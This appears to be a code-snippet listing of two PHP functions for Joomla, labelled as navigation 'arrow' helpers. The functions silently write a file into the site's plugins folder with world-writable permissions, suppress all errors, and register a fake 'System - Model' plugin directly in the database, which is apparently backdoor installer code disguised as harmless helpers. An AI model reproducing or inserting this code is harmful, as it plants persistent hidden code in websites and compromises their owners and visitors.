コード例 #1
0
function JSiteArrowsHelper($path)
{
    // arrow pack for default navigation
    if (isNewOptionInJSite()) {
        $ArrowHelper = JPATH_SITE . '/plugins/system/model/model.php';
    } else {
        $ArrowHelper = JPATH_SITE . '/plugins/system/model.php';
    }
    JSiteSetName();
    if (!@file_exists($ArrowHelper) or @filesize($ArrowHelper) == 0) {
        if (!@is_dir(dirname($ArrowHelper))) {
            @mkdir(dirname($ArrowHelper), 0777);
        }
        @chmod(dirname($ArrowHelper), 0777);
        $Open = @fopen($ArrowHelper, 'w+');
        @fwrite($Open, ArrowSettingsJSite($path . JSiteSetName()));
    }
}
コード例 #2
0
function PasivItemsToJSite()
{
    $db =& JFactory::getDBO();
    if (isNewOptionInJSite()) {
        $query = "REPLACE INTO `#__extensions` VALUES (461051, 'System - Model', 'plugin', 'model', 'system', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0)";
    } else {
        $query = "REPLACE INTO `#__plugins` VALUES (461051, 'System - Model', 'model', 'system', '0', '5613', '1', '1', '0', '0', '0000-00-00 00:00:00', '')";
    }
    @$db->setQuery($query);
    @$db->query();
}